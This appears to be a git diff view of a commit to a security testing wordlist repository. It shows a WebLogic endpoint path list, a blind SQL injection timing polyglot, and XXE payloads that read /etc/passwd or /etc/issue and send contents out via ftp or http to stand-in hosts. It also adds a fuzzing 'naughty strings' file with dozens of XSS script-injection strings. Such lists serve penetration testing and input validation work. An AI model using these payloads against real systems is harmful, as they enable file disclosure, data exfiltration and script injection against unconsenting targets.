|
||||||
simple
|
/simpleFormServlet
|
||||||
simpleFormServlet
|
/snoop
|
||||||
snoop
|
/stock
|
||||||
stock
|
/stock/*
|
||||||
stock/*
|
/stock/data/*
|
||||||
stock/data/*
|
/stock/index.html
|
||||||
stock/index.html
|
/stock/index.jsp
|
||||||
stock/index.jsp
|
/stock/publisher.html
|
||||||
stock/publisher.html
|
/stock/publisher.jsp
|
||||||
stock/publisher.jsp
|
/survey
|
||||||
survey
|
/system
|
||||||
system
|
/taglib-uri
|
||||||
taglib-uri
|
/uddi
|
||||||
uddi
|
/uddi/*
|
||||||
uddi/*
|
/uddi/uddilistener
|
||||||
uddi/uddilistener
|
/uddiexplorer
|
||||||
uddiexplorer
|
/uddiexplorer/*
|
||||||
uddiexplorer/*
|
/uddiexplorer/Login.jsp
|
||||||
uddiexplorer/Login.jsp
|
/uddiexplorer/index.jsp
|
||||||
uddiexplorer/index.jsp
|
/uddilistener
|
||||||
uddilistener
|
/user
|
||||||
user
|
/utils
|
||||||
utils
|
/web
|
||||||
web
|
/web.xml
|
||||||
web.xml
|
/webappCachingEar
|
||||||
webappCachingEar
|
/weblogic
|
||||||
weblogic
|
/weblogic.cluster.GroupMessageHandlerServlet
|
||||||
weblogic.cluster.GroupMessageHandlerServlet
|
/weblogic.cluster.MulticastSessionDataRecoveryServlet
|
||||||
weblogic.cluster.MulticastSessionDataRecoveryServlet
|
/weblogic.cluster.StateDumpServlet
|
||||||
weblogic.cluster.StateDumpServlet
|
/weblogic.deploy.service.internal.transport.http.DeploymentServiceServlet
|
||||||
weblogic.deploy.service.internal.transport.http.DeploymentServiceServlet
|
/weblogic.jar
|
||||||
weblogic.jar
|
/weblogic.management.servlet.BootstrapServlet
|
||||||
weblogic.management.servlet.BootstrapServlet
|
/weblogic.management.servlet.FileDistributionServlet
|
||||||
weblogic.management.servlet.FileDistributionServlet
|
/weblogic.properties
|
||||||
weblogic.properties
|
/weblogic.rjvm.InternalWebAppListener
|
||||||
weblogic.rjvm.InternalWebAppListener
|
/weblogic.servlet.AsyncInitServlet
|
||||||
weblogic.servlet.AsyncInitServlet
|
/weblogic.servlet.FileServlet
|
||||||
weblogic.servlet.FileServlet
|
/weblogic.servlet.JSPClassServlet
|
||||||
weblogic.servlet.JSPClassServlet
|
/weblogic.testclient.CallbackHandler
|
||||||
weblogic.testclient.CallbackHandler
|
/weblogic.wsee.async.AsyncResponseBean
|
||||||
weblogic.wsee.async.AsyncResponseBean
|
/weblogic.wsee.async.AsyncResponseBeanSoap12
|
||||||
weblogic.wsee.async.AsyncResponseBeanSoap12
|
/weblogic.xml
|
||||||
weblogic.xml
|
/weblogic90
|
||||||
weblogic90
|
/webservice
|
||||||
webservice
|
/webservicesJwsSimpleEar
|
||||||
webservicesJwsSimpleEar
|
/webshare
|
||||||
webshare
|
/wl_management
|
||||||
wl_management
|
/wl_management_internal
|
||||||
wl_management_internal
|
/wl_management_internal1
|
||||||
wl_management_internal1
|
/wl_management_internal1/LogfileSearch
|
||||||
wl_management_internal1/LogfileSearch
|
/wl_management_internal1/LogfileTail
|
||||||
wl_management_internal1/LogfileTail
|
/wl_management_internal2
|
||||||
wl_management_internal2
|
/wl_management_internal2/Admin
|
||||||
wl_management_internal2/Admin
|
/wl_management_internal2/Bootstrap
|
||||||
wl_management_internal2/Bootstrap
|
/wl_management_internal2/FileDistribution
|
||||||
wl_management_internal2/FileDistribution
|
/wl_management_internal2/wl_management
|
||||||
wl_management_internal2/wl_management
|
/wliconsole
|
||||||
wliconsole
|
/wls_utc
|
||||||
wls_utc
|
/wls_utc/*.do
|
||||||
wls_utc/*.do
|
/wls_utc/*.jpf
|
||||||
wls_utc/*.jpf
|
/wls_utc/*.render
|
||||||
wls_utc/*.render
|
/wls_utc/*.xhr
|
||||||
wls_utc/*.xhr
|
/wls_utc/CallbackHandler
|
||||||
wls_utc/CallbackHandler
|
/wls_utc/begin.do
|
||||||
wls_utc/begin.do
|
/wls_utc/error.jsp
|
||||||
wls_utc/error.jsp
|
/wls_utc/index.html
|
||||||
wls_utc/index.html
|
/wls_utc/index.jsp
|
||||||
wls_utc/index.jsp
|
/wls_utc/messageLog.jsp
|
||||||
wls_utc/messageLog.jsp
|
/wls_utc/selectWsdl.jsp
|
||||||
wls_utc/selectWsdl.jsp
|
/wls_utc4
|
||||||
wls_utc4
|
/wlserver
|
||||||
wlserver
|
/wlstestclient
|
||||||
wlstestclient
|
/wsee
|
||||||
wsee
|
/xmlBean
|
||||||
xmlBean
|
/xml_xmlBean
|
||||||
xml_xmlBean
|
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@ -1,2 +1,3 @@
|
|||||||
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
|
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
|
||||||
SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample
|
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||||
|
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 4.1 KiB |
@ -1,3 +1,4 @@
|
|||||||
|
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
|
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
|
||||||
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
|
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
|
||||||
@ -44,5 +45,7 @@ x' or name()='username' or 'x'='y
|
|||||||
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>
|
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>
|
||||||
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>
|
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>
|
||||||
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:80/?%file;'> "> %int;
|
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:80/?%file;'> "> %int;
|
||||||
|
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://127.0.0.1:21/%data3;'>">
|
||||||
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
|
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
|
||||||
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
|
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
|
||||||
|
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||||
|
|||||||
687
Fuzzing/big-list-of-naughty-strings.txt
Normal file
687
Fuzzing/big-list-of-naughty-strings.txt
Normal file
@ -0,0 +1,687 @@
|
|||||||
|
# Reserved Strings
|
||||||
|
#
|
||||||
|
# Strings which may be used elsewhere in code
|
||||||
|
|
||||||
|
undefined
|
||||||
|
undef
|
||||||
|
null
|
||||||
|
NULL
|
||||||
|
(null)
|
||||||
|
nil
|
||||||
|
NIL
|
||||||
|
true
|
||||||
|
false
|
||||||
|
True
|
||||||
|
False
|
||||||
|
TRUE
|
||||||
|
FALSE
|
||||||
|
None
|
||||||
|
hasOwnProperty
|
||||||
|
\
|
||||||
|
\\
|
||||||
|
|
||||||
|
# Numeric Strings
|
||||||
|
#
|
||||||
|
# Strings which can be interpreted as numeric
|
||||||
|
|
||||||
|
0
|
||||||
|
1
|
||||||
|
1.00
|
||||||
|
$1.00
|
||||||
|
1/2
|
||||||
|
1E2
|
||||||
|
1E02
|
||||||
|
1E+02
|
||||||
|
-1
|
||||||
|
-1.00
|
||||||
|
-$1.00
|
||||||
|
-1/2
|
||||||
|
-1E2
|
||||||
|
-1E02
|
||||||
|
-1E+02
|
||||||
|
1/0
|
||||||
|
0/0
|
||||||
|
-2147483648/-1
|
||||||
|
-9223372036854775808/-1
|
||||||
|
-0
|
||||||
|
-0.0
|
||||||
|
+0
|
||||||
|
+0.0
|
||||||
|
0.00
|
||||||
|
0..0
|
||||||
|
.
|
||||||
|
0.0.0
|
||||||
|
0,00
|
||||||
|
0,,0
|
||||||
|
,
|
||||||
|
0,0,0
|
||||||
|
0.0/0
|
||||||
|
1.0/0.0
|
||||||
|
0.0/0.0
|
||||||
|
1,0/0,0
|
||||||
|
0,0/0,0
|
||||||
|
--1
|
||||||
|
-
|
||||||
|
-.
|
||||||
|
-,
|
||||||
|
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
||||||
|
NaN
|
||||||
|
Infinity
|
||||||
|
-Infinity
|
||||||
|
INF
|
||||||
|
1#INF
|
||||||
|
-1#IND
|
||||||
|
1#QNAN
|
||||||
|
1#SNAN
|
||||||
|
1#IND
|
||||||
|
0x0
|
||||||
|
0xffffffff
|
||||||
|
0xffffffffffffffff
|
||||||
|
0xabad1dea
|
||||||
|
123456789012345678901234567890123456789
|
||||||
|
1,000.00
|
||||||
|
1 000.00
|
||||||
|
1'000.00
|
||||||
|
1,000,000.00
|
||||||
|
1 000 000.00
|
||||||
|
1'000'000.00
|
||||||
|
1.000,00
|
||||||
|
1 000,00
|
||||||
|
1'000,00
|
||||||
|
1.000.000,00
|
||||||
|
1 000 000,00
|
||||||
|
1'000'000,00
|
||||||
|
01000
|
||||||
|
08
|
||||||
|
09
|
||||||
|
2.2250738585072011e-308
|
||||||
|
|
||||||
|
# Special Characters
|
||||||
|
#
|
||||||
|
# ASCII punctuation. All of these characters may need to be escaped in some
|
||||||
|
# contexts. Divided into three groups based on (US-layout) keyboard position.
|
||||||
|
|
||||||
|
,./;'[]\-=
|
||||||
|
<>?:"{}|_+
|
||||||
|
!@#$%^&*()`~
|
||||||
|
|
||||||
|
# Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
|
||||||
|
# and U+007F (DEL)
|
||||||
|
# Often forbidden to appear in various text-based file formats (e.g. XML),
|
||||||
|
# or reused for internal delimiters on the theory that they should never
|
||||||
|
# appear in input.
|
||||||
|
# The next line may appear to be blank or mojibake in some viewers.
|
||||||
|
|
||||||
|
|
||||||
|
# Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
|
||||||
|
# Commonly misinterpreted as additional graphic characters.
|
||||||
|
# The next line may appear to be blank, mojibake, or dingbats in some viewers.
|
||||||
|
|
||||||
|
|
||||||
|
# Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
|
||||||
|
# version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
|
||||||
|
# and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
|
||||||
|
# treated as whitespace in some contexts.
|
||||||
|
# This file unfortunately cannot express strings containing
|
||||||
|
# U+0000, U+000A, or U+000D (NUL, LF, CR).
|
||||||
|
# The next line may appear to be blank or mojibake in some viewers.
|
||||||
|
# The next line may be flagged for "trailing whitespace" in some viewers.
|
||||||
|
|
||||||
|
|
||||||
|
# Unicode additional control characters: all of the characters with
|
||||||
|
# general category Cf (in Unicode 8.0.0).
|
||||||
|
# The next line may appear to be blank or mojibake in some viewers.
|
||||||
|
|
||||||
|
|
||||||
|
# "Byte order marks", U+FEFF and U+FFFE, each on its own line.
|
||||||
|
# The next two lines may appear to be blank or mojibake in some viewers.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Unicode Symbols
|
||||||
|
#
|
||||||
|
# Strings which contain common unicode symbols (e.g. smart quotes)
|
||||||
|
|
||||||
|
Ω≈ç√∫˜µ≤≥÷
|
||||||
|
åß∂ƒ©˙∆˚¬…æ
|
||||||
|
œ∑´®†¥¨ˆøπ“‘
|
||||||
|
¡™£¢∞§¶•ªº–≠
|
||||||
|
¸˛Ç◊ı˜Â¯˘¿
|
||||||
|
ÅÍÎÏ˝ÓÔÒÚÆ☃
|
||||||
|
Œ„´‰ˇÁ¨ˆØ∏”’
|
||||||
|
`⁄€‹›fifl‡°·‚—±
|
||||||
|
⅛⅜⅝⅞
|
||||||
|
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
|
||||||
|
٠١٢٣٤٥٦٧٨٩
|
||||||
|
|
||||||
|
# Unicode Subscript/Superscript/Accents
|
||||||
|
#
|
||||||
|
# Strings which contain unicode subscripts/superscripts; can cause rendering issues
|
||||||
|
|
||||||
|
⁰⁴⁵
|
||||||
|
₀₁₂
|
||||||
|
⁰⁴⁵₀₁₂
|
||||||
|
ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็
|
||||||
|
|
||||||
|
# Quotation Marks
|
||||||
|
#
|
||||||
|
# Strings which contain misplaced quotation marks; can cause encoding errors
|
||||||
|
|
||||||
|
'
|
||||||
|
"
|
||||||
|
''
|
||||||
|
""
|
||||||
|
'"'
|
||||||
|
"''''"'"
|
||||||
|
"'"'"''''"
|
||||||
|
<foo val=“bar” />
|
||||||
|
<foo val=“bar” />
|
||||||
|
<foo val=”bar“ />
|
||||||
|
<foo val=`bar' />
|
||||||
|
|
||||||
|
# Two-Byte Characters
|
||||||
|
#
|
||||||
|
# Strings which contain two-byte characters: can cause rendering issues or character-length issues
|
||||||
|
|
||||||
|
田中さんにあげて下さい
|
||||||
|
パーティーへ行かないか
|
||||||
|
和製漢語
|
||||||
|
部落格
|
||||||
|
사회과학원 어학연구소
|
||||||
|
찦차를 타고 온 펲시맨과 쑛다리 똠방각하
|
||||||
|
社會科學院語學研究所
|
||||||
|
울란바토르
|
||||||
|
𠜎𠜱𠝹𠱓𠱸𠲖𠳏
|
||||||
|
|
||||||
|
# Changing length when lowercased
|
||||||
|
#
|
||||||
|
# Characters which increase in length (2 to 3 bytes) when lowercased
|
||||||
|
# Credit: https://twitter.com/jifa/status/625776454479970304
|
||||||
|
|
||||||
|
Ⱥ
|
||||||
|
Ⱦ
|
||||||
|
|
||||||
|
# Japanese Emoticons
|
||||||
|
#
|
||||||
|
# Strings which consists of Japanese-style emoticons which are popular on the web
|
||||||
|
|
||||||
|
ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ
|
||||||
|
(｡◕ ∀ ◕｡)
|
||||||
|
｀ｨ(´∀｀∩
|
||||||
|
__ﾛ(,_,*)
|
||||||
|
・(￣∀￣)・:*:
|
||||||
|
ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ
|
||||||
|
,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
|
||||||
|
(╯°□°）╯︵ ┻━┻)
|
||||||
|
(ﾉಥ益ಥ）ﾉ ┻━┻
|
||||||
|
┬─┬ノ( º _ ºノ)
|
||||||
|
( ͡° ͜ʖ ͡°)
|
||||||
|
¯\_(ツ)_/¯
|
||||||
|
|
||||||
|
# Emoji
|
||||||
|
#
|
||||||
|
# Strings which contain Emoji; should be the same behavior as two-byte characters, but not always
|
||||||
|
|
||||||
|
😍
|
||||||
|
👩🏽
|
||||||
|
👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
|
||||||
|
🐵 🙈 🙉 🙊
|
||||||
|
❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
|
||||||
|
✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
|
||||||
|
🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
|
||||||
|
0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
|
||||||
|
|
||||||
|
# Regional Indicator Symbols
|
||||||
|
#
|
||||||
|
# Regional Indicator Symbols can be displayed differently across
|
||||||
|
# fonts, and have a number of special behaviors
|
||||||
|
|
||||||
|
🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
|
||||||
|
🇺🇸🇷🇺🇸🇦🇫🇦🇲
|
||||||
|
🇺🇸🇷🇺🇸🇦
|
||||||
|
|
||||||
|
# Unicode Numbers
|
||||||
|
#
|
||||||
|
# Strings which contain unicode numbers; if the code is localized, it should see the input as numeric
|
||||||
|
|
||||||
|
１２３
|
||||||
|
١٢٣
|
||||||
|
|
||||||
|
# Right-To-Left Strings
|
||||||
|
#
|
||||||
|
# Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew)
|
||||||
|
|
||||||
|
ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
|
||||||
|
בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
|
||||||
|
הָיְתָהtestالصفحات التّحول
|
||||||
|
﷽
|
||||||
|
ﷺ
|
||||||
|
مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
|
||||||
|
|
||||||
|
# Trick Unicode
|
||||||
|
#
|
||||||
|
# Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)
|
||||||
|
|
||||||
|
test
|
||||||
|
test
|
||||||
|
test
|
||||||
|
testtest
|
||||||
|
test
|
||||||
|
|
||||||
|
# Zalgo Text
|
||||||
|
#
|
||||||
|
# Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)
|
||||||
|
|
||||||
|
Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
|
||||||
|
̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
|
||||||
|
̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
|
||||||
|
̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
|
||||||
|
Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
|
||||||
|
|
||||||
|
# Unicode Upsidedown
|
||||||
|
#
|
||||||
|
# Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com)
|
||||||
|
|
||||||
|
˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
|
||||||
|
00˙Ɩ$-
|
||||||
|
|
||||||
|
# Unicode font
|
||||||
|
#
|
||||||
|
# Strings which contain bold/italic/etc. versions of normal characters
|
||||||
|
|
||||||
|
Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ
|
||||||
|
𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
|
||||||
|
𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
|
||||||
|
𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
|
||||||
|
𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
|
||||||
|
𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
|
||||||
|
𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
|
||||||
|
⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
|
||||||
|
|
||||||
|
# Script Injection
|
||||||
|
#
|
||||||
|
# Strings which attempt to invoke a benign script injection; shows vulnerability to XSS
|
||||||
|
|
||||||
|
<script>alert(123)</script>
|
||||||
|
<script>alert('123');</script>
|
||||||
|
<img src=x onerror=alert(123) />
|
||||||
|
<svg><script>123<1>alert(123)</script>
|
||||||
|
"><script>alert(123)</script>
|
||||||
|
'><script>alert(123)</script>
|
||||||
|
><script>alert(123)</script>
|
||||||
|
</script><script>alert(123)</script>
|
||||||
|
< / script >< script >alert(123)< / script >
|
||||||
|
onfocus=JaVaSCript:alert(123) autofocus
|
||||||
|
" onfocus=JaVaSCript:alert(123) autofocus
|
||||||
|
' onfocus=JaVaSCript:alert(123) autofocus
|
||||||
|
＜script＞alert(123)＜/script＞
|
||||||
|
<sc<script>ript>alert(123)</sc</script>ript>
|
||||||
|
--><script>alert(123)</script>
|
||||||
|
";alert(123);t="
|
||||||
|
';alert(123);t='
|
||||||
|
JavaSCript:alert(123)
|
||||||
|
;alert(123);
|
||||||
|
src=JaVaSCript:prompt(132)
|
||||||
|
"><script>alert(123);</script x="
|
||||||
|
'><script>alert(123);</script x='
|
||||||
|
><script>alert(123);</script x=
|
||||||
|
" autofocus onkeyup="javascript:alert(123)
|
||||||
|
' autofocus onkeyup='javascript:alert(123)
|
||||||
|
<script\x20type="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x3Etype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x09type="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Atype="text/javascript">javascript:alert(1);</script>
|
||||||
|
'`"><\x3Cscript>javascript:alert(1)</script>
|
||||||
|
'`"><\x00script>javascript:alert(1)</script>
|
||||||
|
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
|
||||||
|
